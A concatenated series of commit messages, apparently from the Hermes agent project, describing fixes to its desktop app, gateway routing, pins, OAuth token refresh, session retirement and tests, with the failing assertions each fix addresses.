Playwright's click actionability always starts with scrollIntoViewIfNeeded,
and its retries cycle end/center/start alignment. On the v0.19.1 desktop
that scrolls the overflow-hidden chat surface, so the composer is displaced
under the dock/surface/<html> for good; the leg recording shows the layout
cycling between composer-at-bottom, -centre and -top with a still pointer.
The boot overlay was never the trigger.

Drop Playwright pointer and press actions on the composer: the non-scrolling
hit test is the interactability check, the send focuses the composer with a
real mouse click at its hit-tested centre and must observe it took focus,
and keys go through page.keyboard (locator.press/pressSequentially call
element.focus(), which can scroll too). Every check stays as strict for
newer apps: topmost at its centre, focused by the click, holds the typed
prompt, clears on submit.
The pointer click at the composer's hit-tested centre passed the topmost check
but did not focus the v0.19.1 editor on 7 of 43 legs (proof run 41418896446:
"The click at the composer must focus it"). Focus it with
focus({ preventScroll: true }) after the same topmost check: no scrolling, and
the hit test still proves the composer is the element a user would reach.
The Windows `installer-script+desktop -> hermes-desktop-app-update` leg from
v2026.7.30 failed every attempt with "desktop output is missing, stale, or
damaged: ...\release\win-unpacked.bak\...\dist". The old release's in-place
Windows pack (before-pack.mjs, #69179) kept the previous tree as
release\win-unpacked.bak; HEAD's update builds in a staging dir and swaps
release\win-unpacked via `.previous`, and by design never touches that `.bak`.
The product only ever launches the fixed appOutDir names, so the new app was
correct; verify_products globbed release/* and ran the freshness check on the
old rollback copy.

Restrict the verifier's output and executable discovery to electron-builder
appOutDir names, which never contain a dot (`.bak`, `.previous` copies do).
Delete only the live Hermes.exe while the rollback copies keep theirs: the
verifier must still refuse with "desktop executable is missing or empty"
(red when the executable lookup globs release/* unfiltered). Review finding.
The bundled hermes-agent skill had no reference or routing-table row for Projects,
while `hermes project` ships 11 subcommands plus the `ls` alias (create, list/ls,
show, add-folder, remove-folder, rename, set-primary, use, archive, restore,
bind-board). An agent working from the shipped skill had no documentation for the
feature; the only in-repo mention was the one-line cli-reference.md entry.

Adds the reference, written against the implementation (hermes_cli/projects_cmd.py,
hermes_cli/projects_db.py, hermes_cli/kanban_db.py, hermes_cli/kanban_db_boards.py,
tools/project_tools.py, gateway/session_local_inventory.py,
tui_gateway/server.py): the subcommand surface, slug / primary-folder / active-project /
archive semantics, path-to-project resolution, the desktop session grouping and kanban
anchoring it drives, and troubleshooting. Adds the routing row, points
cli-reference.md at it, and bumps the skill to 3.3.0.

Closes #139249
Running the documented commands against a scratch HERMES_HOME showed several
claims in the new reference were wrong:

- `hermes project bind-board` does not link a board's tasks to the project. It
  records the board on the project and, when the board exists and the project has a
  primary folder, sets the board's default workdir (from the CLI only a bare
  `--workspace worktree` task uses it). The board's project_id stays null, so tasks
  get no project link or deterministic branch; only the kanban dashboard's Project
  selector or `hermes kanban create --project` links tasks. Unbinding clears only
  the project's record.
- The CLI resolves `<project>` by an exact id or a slug in any case, not by display
  name; name matching is only in the desktop_project tool.
- `set-primary` normalizes paths, so the "spell it the way show prints it" tip was
  wrong.
- A desktop_project move leaves the active-project pointer alone only when the
  project has a folder, and the desktop sidebar following the viewed chat can still
  select the new project.

Also: the worktree + branch default applies to linked non-dir tasks of a project
with a primary folder; an unknown `--project` creates an unlinked task without an
error; complete the exit-code list; note desktop delete (folders and chats kept),
the sidebar's automatic groups, and the Windows HERMES_HOME default; drop internal
table/function names and the raw sqlite queries; replace troubleshooting advice
that made two projects own one folder; point background-systems.md at the
reference; shorten the routing row; and regenerate the bundled-skill docs page.

website/docs/reference/cli-commands.md made the same bind-board claim; its summary
rows and `hermes project` section now describe what the CLI does, and `--project`
is listed among the `kanban create` flags.
relayRetained() had come to mean "relay lease OR kept route", so the two
callers that must ignore the keep pin (the material-edit redial drain and
disposeSecondariesForConnection) fell back to a raw relayRetainCount > 0,
and the pruner comment still described bot-relay retention only.

Name both meanings: relayLeased() is the relay lease alone; pinnedOpen()
is a relay lease or a kept route. Every former relayRetained() caller
(request-lease release in gatewayForProfile and requestGatewayForAgent,
the retainGatewayForRelay release, the retainGatewayForAgent release,
the forced-wake liveness probe and the idle pruner) now calls pinnedOpen;
the two raw count checks now call relayLeased. Each expression evaluates
exactly as before, so there is no behaviour change. Comments on the
pruner and the edit-redial path now say which pin they honour; the
file's line count is unchanged.

Tests: every test file naming relayRetain, retainGatewayForRelay,
disposeSecondariesForConnection, drainPendingConnectionRedial or
isKeptRoute was run on this commit and on main, with the same result on
both: 154 pass (use-gateway-boot 76, gateway-connection-lifecycle 35,
gateway-profile-request 27, gateway-background-reconnect 8,
gateway-relay-retention 5, gateway-kept-routes 3).
The kept-route set was a plain Set: keepRoute added the route key and its
release deleted it, so two holders of one route would release each other:
the first release drops the keep while the second still relies on it,
leaving that socket to the idle pruner. No current caller does this
(keepGatewaysConnected starts the only keeper once, and it takes one keep
per connection); this is hardening for a future second holder.

Count holders per route (Map of key to count) and make each release
idempotent, so a holder releasing twice cannot drop another holder's pin.
Single-holder behaviour is unchanged.

The route key itself is left as is. It is not interchangeable with the
registry scope key: the scope key trims the connection id and defaults an
empty or blank profile to "default", while the kept key compares the raw
(connectionId, profile) pair, and secondaries opened through
openGatewayForAgent / ensureGatewayForAgent keep the caller's raw profile.
Switching keys would change which entries count as kept.

Test: gateway-kept-routes.test.ts "a route two holders keep stays kept
until both release it, however often one releases". Red on the previous
module: AssertionError: expected false to be true at
expect(isKeptRoute('workshop', 'default')).toBe(true). Green here:
gateway-kept-routes 4 pass (the three older kept-route tests pass
unchanged) and gateway-persistence 2 pass.
The constant's doc said it was only the phase-1 dial budget of a source
switch. selectConnection also bounds the OAuth REST probe and the
activation (ensureGatewayAgent) with it, and store/gateway bounds a
registry secondary's getConnectionFor with it. Say so, and that the value
is sized for the worst of those steps, the cold dial. Comment only; the
value is unchanged.
A `git fetch --depth 1` (installer checkouts are shallow) killed during its pack
transfer strands .git/shallow.lock, and every later fetch fails "Unable to create
'.../shallow.lock': File exists" until the 10-minute age sweep. The killed-update
reclaim (same custody + no-live-git proofs as the ref locks) now covers it;
release_dead_ref_locks becomes release_dead_fetch_locks.

Hermes's own _ShallowLock holder runs no git between its git calls, so it now keeps
the lock fd open while held: the /proc / lsof fd probe (and Windows' unlink refusal)
sees a live Hermes holder and the lock stays.
Review finding on 0c793bb: if os.write in _ShallowLock.__enter__ raised
(ENOSPC), the fd leaked, so the rest of the process looked like a live holder
to release_dead_fetch_locks and Windows refused to delete the lock. Close the
fd and remove the lock on that failure. Also fix the docstring that named the
reclaimer instead of the holder.
Review findings: the two new Linux-only tests now carry
@pytest.mark.platforms("linux") instead of a bare skipif, and the
pack-transfer poll uses tests.waiting.wait_until (still failing fast if the
fetch exits early) instead of a sleep loop.
A sidebar gateway pick now publishes the new gateway while the previous
gateway's session rows are still loaded, and kept gateways pool their rows
into the same lists. setConnection rescopes the pin set to the new gateway,
and pin sync then adopted every pinned row it could see into that set
without looking at the row's owner. The other gateway's pinned chat showed
up in the new gateway's pin list and was saved under its pin key, and an
unpin of it was written through the new gateway, which never had the row,
so the next page re-adopted it.

Pin reconciliation, both the pull (adopting server pins) and the push-side
row lookup (which row and profile a pin write targets), and the optimistic
repaint now consider only rows owned by the gateway the pin list belongs
to. A row's owner is its connection_id. An untagged row belongs to the
primary pool, because the row stamp never tags local rows or the primary's
own: local when the primary is local, otherwise the primary's registry id.
A primary with no registry id keeps the old behaviour (untagged rows count
as the active backend's). The pin list's gateway is the published
connection's id, or the ambient owner id when the descriptor names none.
Single-gateway local, remote and webapp windows see no change: their rows
are untagged or tagged with the active id and still pass.

Pin writes are not rerouted. With another gateway active, a server-pinned
chat from a different kept gateway can no longer be unpinned from there
(the toggle is a no-op instead of a write to the wrong gateway), and
pinning one keeps it in the active gateway's local list without writing.
Unpinning such a pin later still writes the unpin to the active gateway,
now under its active profile instead of the row's.
Owner-routed pin writes are left to a separate change.

The sidebar comment that said pin sync adopts every server-only pin into
the local set now says it does so only for the pin list's own gateway.

Tests: session-pin-connection-scope.test.ts, each red without its rule.
- Gateway A's pinned row still loaded when B is published. With the base
  pin sync: expected [ 'only-on-a' ] to deeply equal [].
- The same id listed by A and B, pinned while B is active: only B's row is
  repainted. With the owner check in the repaint removed: expected { a:
  true, b: true } to deeply equal { a: false, b: true }.
- This device is the primary with an untagged pinned row loaded, then
  registry gateway B is picked. With untagged rows given no owner:
  expected [ 'only-local' ] to deeply equal []. B's own pinned row is still
  adopted.
The keeper pins one route per gateway, (connection, default profile), but
decided whether to redial from liveSecondaryConnectionIds(), which is per
connection across every profile. With a named-profile socket open on the
same gateway, a dropped default-profile socket counted as live and was
never redialed, so the gateway's home sessions quietly stopped being kept.

Reconcile now asks gatewayRouteState(connection, 'default').open, the
existing non-dialing check for that exact route.

Test: gateway-persistence.test.ts "redials a dropped kept route even while
a named profile on the same gateway stays open". Without the fix it fails
with: expected [] to deeply equal [ [ 'homelab', 'default' ] ].
The keeper skips the gateway the window primary already serves by matching
$primaryGatewayRoute. setPrimaryGateway clears that route whenever the
primary socket is replaced or torn down (boot teardown calls
setPrimaryGateway(null)), and it is empty at launch until boot publishes.
In that gap a remote primary's registry entry no longer matched, so the
keeper pinned it and dialed a second socket to the primary's own backend,
duplicating its event stream.

Reconcile now returns early while the route has neither a connection nor a
mode: existing pins stay as they are and nothing is dialed until the next
primary publishes, at which point the route listener reconciles again.

Test: gateway-persistence.test.ts "dials nothing while no primary route is
published, so the primary's own gateway never gets a second socket". Without
the fix it fails with: expected "vi.fn()" to not be called at all, but
actually been called 4 times. The kept-route test now compares only
(connection, profile) per dial so it does not depend on dial options.
use-desktop-integrations refreshed the session list on every kept-route
open with no batching. Every kept gateway opens once at launch, so N
gateways meant N list pulls at startup, each splicing every pooled
backend's rows.

The handler now arms a 400 ms trailing timer, restarting it on each open,
so the launch burst yields one refresh; the timer is cleared on unmount.
This does not batch a gateway that accepts and then drops: its reopens
follow the reconnect backoff, seconds apart, and each still refreshes
once. No debounce or coalesce helper existed in the desktop lib (only
rafCoalesce, which is per animation frame), so the timer is inline.

Test: use-desktop-integrations.test.tsx "folds the launch burst of
kept-route opens into one sessions refresh, and drops a pending one on
unmount" (five kept gateways opening 100 ms apart). Without the fix it
fails with: expected "vi.fn()" to not be called at all, but actually been
called 5 times.
While This device was registered but not live, every 30 s keeper tick
called probeLocalBackend, which re-resolves the local backend in the main
process and logs a line. A remote-primary user without a local install
paid 11 probes in 5 minutes for a verdict that never changes on its own.

The keeper now caches the verdict for its lifetime: not installed is
re-probed only when the connections registry changes or the primary
route moves to a different connection or mode (a primary reconnect that
republishes the same route does not count), installed holds for the
window, and a probe that throws is retried on the next tick. A dropped
probe that fails late clears the cache only if it is still the cached
probe, so it cannot discard the newer one. The probe itself moves to
lib/local-backend-probe.ts so the keeper and the This device picker in the
sidebar share one function; the keeper's copy was the exact negation of
the picker's (both fail closed when the bridge is missing).

Tests, gateway-persistence.test.ts, each failing without its part of the
fix:
- "probes This device once while it stays not installed, and again after
  the registry changes": expected "vi.fn()" to be called 1 times, but got
  11 times.
- "re-probes This device on a new primary route, not on each reconnect
  that republishes the same one": expected "vi.fn()" to be called 1
  times, but got 4 times.
- "a dropped probe that fails late leaves the newer cached probe in
  place": expected "vi.fn()" to be called 2 times, but got 3 times.
persistentGatewayIds is only used inside gateway-persistence.ts; no module
or test imports it, so it no longer needs to be exported. No store-level
default-profile constant exists to replace HOME_PROFILE with (the only
exported one lives under app/, which store/ must not import), so that
stays as is. No behaviour change.
A registry or primary-route change drops the keeper's cached This device
probe and starts a new one, but the dropped probe still settles. Its
success callback wrote localSeenInstalled unconditionally, so a slow
"not installed" answer arriving after the replacement found Hermes
installed reset the verdict, and the next registry change probed again.
Only the probe still cached may record its verdict now, the same guard
the failure path already had; a dropped probe still answers its own
callers.

Test: gateway-persistence.test.ts "a dropped probe's late not-installed
answer does not overwrite its replacement's installed verdict". Red on
the previous head: expected "vi.fn()" to be called 2 times, but got 3
times. gateway-persistence.test.ts 8 passed.

Raised in review on the PR.
The keeper kept "installed" for the life of the window. If the local
install went away afterwards (or became unusable), the next redial of
This device went straight to the main process, which runs the installer
for a backend that needs bootstrap: the keeper could start an install the
user never confirmed. Before the probe cache, every dial probed first.

Now only "not installed" is cached (until the registry or the primary
route changes); "installed" is re-checked before every This device dial,
and concurrent dials share the probe in flight. A dropped probe's late
answer still cannot clear its replacement's verdict.

A This device dial waiting on its probe also re-checks, once the probe
answers, that the keeper still holds the route and that the primary
route is still published. Before, a dial started under a remote primary
could open a second socket after the primary was torn down, or after the
keeper stopped.

The refresh-batching comment now says what the timer does: every
kept-route open, reconnects included, shares one 400 ms trailing timer.

Tests (gateway-persistence.test.ts):
- "re-checks an installed This device before each redial, so an install
  removed since is never dialed": red on the previous head, expected
  "vi.fn()" to be called 2 times, but got 1 times.
- "drops a This device dial still waiting on its probe once the primary
  route is unpublished or the keeper stops": red on the previous head and
  with either re-check removed, expected [ [ 'vps', 'default' ], ...(1) ]
  to not deep equally contain [ 'local', 'default' ].
- "a dropped probe's late installed answer leaves its replacement's
  not-installed verdict cached" replaces the sticky-installed test: red
  with the current-probe guard removed, expected "vi.fn()" to be called 2
  times, but got 3 times.
gateway-persistence plus the five files that import or mock the touched
modules: 6 files, 91 passed.
A registry or primary-route change drops the keeper's This device probe
and starts a new one, but a dial already waiting on the dropped probe
acted on its answer. When the dropped probe said "installed" and its
replacement had already found the install missing, that dial still
reached the main process, which runs the installer for a backend that
needs bootstrap. Each reconcile now captures a generation that every
probe drop advances, and a This device dial goes ahead only if the
generation is unchanged once its probe answers.

The "not installed" verdict also no longer lasts until the next registry
or primary-route change: it expires after ten minutes, so an install
done while a remote-primary window stays open still joins the kept
gateways (main re-probed every 30 s; this PR had stopped noticing).

Tests (gateway-persistence.test.ts):
- the late-installed-answer test now also asserts no This device dial:
  red with the generation check removed and on the previous head,
  expected [ [ 'vps', 'default' ], ...(23) ] to not deep equally contain
  [ 'local', 'default' ].
- "re-probes a missing This device install every ten minutes, so one
  installed meanwhile is kept": red on the previous head, expected
  "vi.fn()" to be called 2 times, but got 1 times.
gateway-persistence plus the five files that import or mock the touched
modules: 6 files, 92 passed.
After the sidebar read sessions from a backend without the batched
/api/profiles/sessions/sidebar route, every gateway picked later kept
using the three-request legacy path, and profiles_usage came back empty
so the usage numbers disappeared until reload.

The endpoint-missing verdict was one module-global flag. Its only reset
lives in the Settings apply wipe, which a sidebar gateway pick stopped
running in #147681. The verdict is a fact about one backend, so it is
now keyed by the connection the request rode, read when the request
starts. That is preferred over resetting on the active-connection
change: a late 404 from the gateway just left still lands on that
gateway instead of re-poisoning the one now in front, and going back
to the old gateway does not re-probe a route it lacks. The Settings
apply reset stays and clears every key, since an apply can re-point a
connection id at another backend.

Also corrects two comments that still described a pick as running the
switch reset (the active-connection listener in connections.ts and the
GatewaySwitchLifecycle doc). Only a connection apply (Settings → Gateway,
or a backend recycle) runs that reset; a gateway pick does its own
narrower draft and project reset in selectConnection's beforeActivate.

Test: hermes.test.ts "keeps the endpoint-missing verdict on the gateway
that 404d, not the one picked next". Red with the pre-fix sessions.ts:
AssertionError: expected [] to have a length of 2 but got +0 (the new
gateway is never probed for the batched route).
When a gateway pick reached its turn and the activation then failed,
the new-chat draft was reset to the current profile with no route. A
draft the user had pinned before the click (an explicit agent route,
for example to a local work profile, or a legacy profile pin) was lost,
and the next message went through a different owner. The failure path
also skipped the new-chat intent check the success path has, so it
could overwrite a draft the user started after the pick reached its
turn.

Before #147681 the re-home ran only after a successful activation, so
a failure touched nothing. That PR moved the re-home into
beforeActivate and answered a failure with a second re-home.

A pick now snapshots the draft before its re-home (profile, explicit
route, captured source, legacy profile pin). If its target never
becomes active, it gives that draft back, but only while the new-chat
intent is still the one its re-home produced, so a draft the user
started since is left alone. This also runs when a newer pick has
superseded the failed one. The restore reuses the profile store's own
setters (captureNewChatSource, pinLegacyNewChatProfile), so it is a
normal new-chat intent.

Overlapping picks need two more rules, because activations are
serialized and a queued pick takes its turn as soon as the one ahead
settles, before that pick's caller sees its failure. If the draft is
still the re-home of a pick ahead that did not land, the queued pick
inherits that pick's snapshot instead of snapshotting the tentative
draft. Otherwise two failed picks (A, then B) left the foreground on
the original gateway while the next message went to A. And if the
pick ahead already gave its draft back, that give-back does not count
as a newer intent, so a queued pick that succeeds still re-homes.

Tests (connections.test.ts), red with the pre-fix connections.ts:
- "a failed activation keeps the agent route the user pinned before
  the click": AssertionError: expected 'default' to be 'work'
- "a failed activation leaves alone a draft the user started after the
  pick reached its turn": AssertionError: expected 'default' to be 'scout'
- "a failed pick restores a legacy profile pin the draft had before
  the click": AssertionError: expected "vi.fn()" to be called with
  arguments: [ 'ops' ]
- "two overlapping picks ... both fail: the draft is the one from
  before the first click": AssertionError: expected 'default' to be
  null. Without the inherited snapshot (each pick undoing only its own
  re-home): AssertionError: expected 'homelab' to be null
- The existing failed-activation case now expects the draft back as it
  was before the click (null profile) instead of 'default':
  AssertionError: expected 'default' to be null
- "two overlapping picks ... the first lands and the second fails: the
  draft stays on the first": AssertionError: expected null to be
  'homelab'. Also red, with the same assertion, when a queued pick
  inherits the snapshot of a pick ahead that landed.
- "two overlapping picks ... the newer pick fails while opening, then
  the first fails: the pre-click draft is back": AssertionError:
  expected 'default' to be 'work'. Also red, with the same assertion,
  when a superseded failed pick skips its give-back.
"two overlapping picks ... the first fails and settles before the
second takes its turn: the second still re-homes the draft" passes on
the pre-fix code; it guards the give-back from being read as a newer
intent (red when that rule is dropped: expected null to be 'work-vps').
A named profile served by a multiplexing gateway reads provider keys only from
its own .env (by design). When a custom endpoint declares key_env and the
variable is missing from that scope (e.g. exported only in the server's shell),
resolution substituted the keyless placeholder `no-key-required`, sent it, and
the user saw "custom rejected your API key ... HTTP 401", naming neither the
variable nor the profile.

Resolution now refuses that runtime before any request with a typed
AuthError(missing_api_key) naming the provider, the variable, the profile, and
`hermes -p NAME config set VAR <key>`; it also says when the variable exists only
in the server's environment. Custom blocks with no key_env (Ollama, llama.cpp,
vLLM) keep the placeholder. Registry API-key providers' existing "Set X." error
gains the same profile hint on named profiles. The TUI/Desktop init-failure
wrapper no longer prints ".." after a message ending in a period.
A single-profile process reads key_env from its process environment too, and
origin/main pins its placeholder behaviour (test_custom_entry_shadow_key_env,
test_bedrock_mantle_key_env). The refusal targets the multiplexed named-profile
case where a key exported in the server shell is invisible by design.
Review findings on #147761: the missing-profile-key refusal fired for a
custom provider on model.openai_runtime=codex_app_server (which owns its
auth), for a caller-supplied explicit_api_key='no-key-required', and lost
the selected entry when explicit_base_url replaced its URL (back to the
misleading 401). The check now runs on the final api_mode and skips
transports that never send the key (codex_app_server, bedrock_converse),
skips any caller-supplied key, and identifies a named-entry runtime by
its selected entry rather than by URL.
The 401 pool refresh compared the store against the pool ROW's key, not the bearer the
request sent. The pre-expiry adoption swaps the agent's key without touching its row, so the
store's key (the one that just failed) looked "peer-rotated" and was adopted with no refresh:
the swap replayed the dead bearer and the 3-refresh cap fired within ~1.5 s. When refreshes
did POST, each 401 re-redeemed the rotating refresh token (4 POSTs per episode).

- credential_pool: thread the failed bearer (api_key_hint) into the Nous refresh; adopt a
  store key only when it differs from it, and pass it as stale_access_token.
- New agent/credential_auth_recovery.py (moved out of agent_runtime_helpers): a Nous 401
  episode gets exactly one forced refresh; later 401s on the fresh key (or a refresh that
  hands back the failing bearer) wait 5/15/30 s and retry with the store's current key,
  then fall through to fallback. Entitlement 403s and dead grants still fail fast.
- turn_recovery: the singleton 401 refresh skips its force when the pool already spent the
  episode's refresh.
Review of #147855: a plain Nous 403 entered the transient-401 backoff and waited ~50 s. Only a 401
is the valid-key-refused shape. The episode test now fails on base by its refresh-POST count, not
an ImportError.
Greptile P1: an interrupted backoff wait reported recovery, so handle_api_error
continued before its interrupt check and the retry loop re-sent the request
(unbounded in the repro). Report not-recovered so the existing interrupt check
aborts the turn, or rebuilds it from a pending redirect.
_merge_shared_nous_oauth_state adopted the shared nous_auth.json state whenever its
refresh token differed from the profile's, without asking which was newer. When the
shared store fell behind (a lost shared write after a profile-side refresh), the
profile's auth.json was overwritten with the older agent key and an already-redeemed
refresh token; the next refresh replayed it and the Portal's reuse detection forced a
re-login.

The shared copy is now adopted only when its token pair is newer (expiry first, the
same ordering the forked-grant heal uses; issue time breaks a tie). When the profile
is the newer one it is pushed to the shared store instead, and a renewal write never
rolls the shared store back to an older pair of the same account. Unstamped states on
both sides keep the legacy behaviour.
Review finding (critical): a rotation always issues LATER but not always
later-EXPIRING (the Portal sets access TTLs per client and per issue). Ordering
by expiry first made the renewal guard refuse a fresh, shorter-lived pair and the
next merge adopt the redeemed one (reuse detection -> forced re-login), and made
the push write a redeemed pair over a sibling's live one.

The shared-store merge, the renewal write guard and the profile-fork heal
(auth_oauth_grants) now share ONE comparator, oauth_pair_order: JWT iat, then
last_refresh / obtained_at; expiry only when a side lacks an issue stamp. The
heal still always consolidates to one copy; only which copy wins changed.
Review findings (warnings): two non-JWT access tokens both read as account
identity None, so "same account" was True and a newer profile was pushed over a
DIFFERENT account's shared store. And (pre-existing) the adopt branch had no
identity gate at all: a profile signed in as account A adopted account B's newer
shared tokens and rewrote its auth.json to B.

Push, the renewal skip and adopt now all require a KNOWN identical identity
(guest anon credential or account JWT sub); a missing sub is unknown and never
matches another unknown. A second identity keeps using the existing `renewal`
slot of the shared store.
Re-review of #147866: a quarantined profile has no access token, so its identity read as unknown
and the same-account guard stopped it adopting the shared login a sibling just signed in with
(the ca6513542d recovery path; main recovers). An empty profile adopts on order alone again;
pushing the profile over the shared store still requires a known same identity.
Greptile P1: oauth_pair_order fell through to expiry when both JWT iat
claims were equal, so a later rotation with a shorter TTL read as older.
Equal iat now falls to the sub-second local issue stamp and is a tie
without one; expiry only orders pairs lacking an issue stamp.
A LiveSession (event stream, replay ring key, locks, pending controls) stayed in
SessionAuthority.sessions for the life of the process: one per local conversation ever
closed and one per API conversation ever served (+2 per soak cycle, unbounded).

Retirement (gateway/session_retirement.py) drops it when nothing pins it, leaving the
state a restart leaves: a closed local conversation once its close lifecycle ran, an API
conversation at its drain's idle exit. Every entry point already restores an absent
conversation (attach, admission, API bind); _schedule, _publish_pending and
observe_api_controls now restore one input committed for after it retired.

Fixes the Greptile findings on the split-out code (#147831):
- P1 accepted prompts: the pins and a FIFO/worker read are re-checked after the last
  await, in one loop step with the removal; a claim since the close (execution stamp)
  keeps the reopened conversation; a drain alive at close retires it at its idle exit.
- P1 shared launch keys: release_launch_secrets counts retired conversations' policies
  (authority.retired_local), so a closed branch keeps its parent's key.
- P2 prune: retire_live_sessions forgets a retired conversation's adapter source and
  policy by id.
Review findings on #147863:

- W1 (regression vs main): deleting or pruning an idle API session that
  retirement let go skipped its cached-agent eviction. retire_idle now records
  every retired conversation's route (authority.retired_routes, both
  platforms) and forget_retired evicts that route; the LOCAL adapter forget
  still runs for retired local conversations.
- W2: any authorize() (rename, archive, pin, a read RPC) restored a retired
  conversation and it then stayed in memory for the life of the process.
  authorize and restore_retired now arm a re-retirement check on a restored
  conversation (session_retirement.touch_restored): RESTORED_IDLE_S (30 s)
  after its last authorize it retires again unless something pins it; a
  watched one is retired by its viewer's close as before.
- S2: a cold /refine's review run token lives on the LiveSession, so a close
  mid-review now pins it (_pinned): a reopen's /refine joins the running
  review and the next turn still cancels it.
Re-review of #147863: session.active_list authorizes every in-memory session on each poll (Desktop
and TUI every 1.5 s), and authorize pushed the restored session's re-retire timer back, so with any
client open a renamed/read conversation never left memory again. A listing read now never extends
an armed timer; real use (rename, read RPC, admission) still does.
Greptile P1 'Retirement interrupts conversation close': the last viewer's detach left the
session unwatched while it released the editor MCP off the loop, before its close was pending;
a restored conversation's re-retire timer (or a drain idle exit) firing then retired it and
close_viewer_session raised KeyError, skipping the close stamp and finalize hooks. The detach
pins the session (LiveSession.detaching) until its close is recorded.
Greptile P2 'Finished reviews leave sessions behind': a close during a cold /refine review
skipped retirement and nothing retried it. The review's end asks the loop for the idle-exit
retirement check (retire_after_review).
A redial makes a fresh entry for a scope that has opened before, so
openSecondary takes its `reopening` branch and awaits
import('@/store/session-states'). This file never mocked that module: each
run transformed its whole real graph cold (~0.7-1 s unloaded), then the import
threw on the partial '@/store/session' mock and the catch moved on. That load
ran inside vi.waitFor's 1 s budget, so under CPU load the redial landed late,
the first test timed out on the old URL, and the late dial spilled into the
next two tests.

Mock the three functions the reopening branch calls, as
gateway-connection-lifecycle.test.ts already does. The redial now settles in
microtasks (tests 1.2 s -> ~0.14 s per file run).

Loaded (20 CPU burners, 6-10 parallel vitest runs): origin/main 30/30 runs
failed; this branch 0/60.
Electron's legacy `profile` preference in active-profile.json is global,
but the restored primary connection can be a remote gateway. At boot the
renderer paired that machine-local name with the remote, so the first New
Session hit `Profile '<name>' does not exist` and model-options 404'd
against a healthy backend.

When no explicit default route is set and the preferred remote is already
active, read that connection's own profile roster. Keep the live profile
when the remote serves it; otherwise land on the per-connection remembered
profile, then `default`, then any served profile. A failed roster read,
a newer user pick, or an established session leaves the route untouched.

Salvaged from #130949 (tests trimmed to two invariants on the existing
connections harness; the PR's `fromBoot` flag is main's `restore`).
Same diagnosis independently in #130948 by @dskwe.

Fixes #130944
Boot restore now reads the remote primary's /api/profiles; the fake
bridge had no api(), so the read threw before rememberConnection ran.
Review fixes for the roster read the boot restore now awaits:
- A gateway the user picks while the roster read is in flight stays the
  saved last-used source; boot only saves its own source when it still
  owns the active connection.
- A conversation the user opens while the boot re-home dials is never
  closed: a silent restore abandons its pick at activation time when the
  open session changed under it.
/api/profiles lists every INSTALLED profile, parked (gateway.parked) and
standalone ones included, while profiles_to_serve excludes them and a
gateway-hosted listener refuses their session calls with profile_mismatch.
The startup ladder kept a parked active profile, or picked a parked
remembered one.

Read the connection's served set from its unscoped /api/status
gateway_shared_with (the multiplexer's served_profiles; [] = a single-profile
gateway serving only the host's default), in parallel with the roster, and
filter the active name and every ladder rung by it. Unknown (null: no gateway
running, an older backend, a failed read) keeps the installed list. Same rule
as the webapp's served set and Electron main's remote primary restore
(#147718).
Review fixes (unsupportedpastels on d155645):
- A synchronous throw from the profile/status read no longer rejects the
  whole boot restore: it counts as a failed read like any other. The boot
  harness therefore needs no fake roster and returns to main's file.
- The yield-to-an-opened-conversation rule is scoped to the startup profile
  re-home via an explicit option. Main's other silent restores keep their
  existing behaviour, since a session selected while they dial may itself be
  automatic.
/api/status gateway_shared_with is [] on a single-profile gateway: it serves only the profile it
was launched as, which the list does not name. Treating that as {default} switched a window on a
gateway launched as 'work' onto 'default', which that gateway refuses (profile_mismatch). A
non-empty list already names the launch profile, so it is used as-is; [] is unknown, like null.
When the window is pinned to a registry gateway (e.g. an SSH box), the
all-profiles session aggregate still merges the primary backend's local
rows. Those rows carry no connection_id, and the renderer stamps every
untagged row with the ACTIVE connection, so a local-only profile (e.g.
'laptop') was filed under the remote gateway in the gateway/profile
grouping. Opening it dialed a profile that does not exist there, and the
chat (and that group's Screen portal) loaded forever.

Tag the primary aggregate's untagged rows with the connection that served
them (resolved passively, never dials) whenever the request is pinned to
a different connection.
Gateway & profile: the primary's bare rows (the pool routing already resolves to the registry
primary) rendered as headerless root groups mixed in among remote gateway sections, and a primary
profile with rows naming the primary showed twice (one copy "No sessions yet"). Their groups now
sit inside the primary's section under their own unassigned id, one group per profile.

Project: the project tree is served by the window's gateway only, so rows another gateway owns
matched no project and vanished. They now file like that gateway's own: folder-less rows under
Home (counted), the rest under a project for their folder on their gateway, labelled with the
gateway only when two projects share a name.

Co-authored-by: Nick Nguyen <theenigmafield@gmail.com>
Move primaryAggregateConnectionId and isNotFoundApiError into profile-session-routing.ts so
main.ts ends no longer than on main after the pinned-primary tagging.
Review findings on #147735 (synthetic foreign projects lose owner identity):

- New session on a foreign project: the "+" (click and drag) and an entered
  foreign project's lane "+" now pass the owning gateway profile (the profile
  last used in that folder there). The draft pins that route
  (pinNewChatRoute, shared with newSessionInAgent) and resolves the folder on
  the owner via requestGatewayForAgent instead of the window gateway; it no
  longer follows the cwd into the window's project tree. The occupied-chat
  tile path carries the same route.
- Entered project overlay: live rows are scoped to the project's owner before
  both overlays (enteredProjectLiveRows), so a foreign project no longer lists
  local chats at the same path and a local project no longer lists foreign ones.
- Duplicate session ids: rows of different (gateway, profile) owners are no
  longer one conversation in Home's count, overview previews, the Home drill-in
  or the drill-in reconcile (SessionOwnerKey threaded through conversationIds).
Review round 2, P2 "Appearance on a foreign gateway's project creates a
local project". A project another gateway owns is drawn from that
gateway's rows (isAuto with a path), so setProjectAppearance adopted it
with createProject on THIS window's gateway: a permanent local project
for the remote path, named "app · Studio", that then claimed local chats
at that path while the foreign project never got the colour.

Appearance now goes to the owner (connection, profile): it reads the
owner's projects.list, patches its project for that folder or creates one
there (named for the folder), optimistic with rollback, one write per
folder at a time. The sidebar reads each owner's looks once and paints
them onto its projects, so the colour survives a reload.
Review round 2, P2/P3 "Start work on a foreign project creates a local
worktree and session". The New worktree button, its dialog (branch and
base-branch lists, worktree add, branch switch), the entered project's
worktree lanes, a lane's "+" branch switch and worktree removal all ran
on this window's git, and the new session started with no owner.

They now carry the project's owner route: git goes through that
gateway's /api/git (desktopGitFor, hermesApiAs with the owner's
connection and profile) and the session starts on the owner like the
project's "+". Picking another project in the dialog drops the owner.

Reveal in file manager on a project whose gateway is not this computer
stays listed but disabled: no file manager here can show that machine's
folder, and a same-path local folder is the wrong one. A This-device
project opens even from a remote window.
P3-1 (stale read wipes another folder's colour): a write's owner read now
supplies only the written folder, and a sidebar read that was sent before a
folder's write settled keeps that folder's look.
P3-4 (rendering the sidebar makes non-passive gateway reads): an owner's
project looks are read only over a socket already open to that (gateway,
profile), via gatewayRouteState, which now hands back that open socket. A
render never re-spawns an idle-evicted local profile or opens a pool entry
per profile on a shared host; an owner with no open socket is read on a
later render that finds one. A colour pick (a user gesture) still dials.
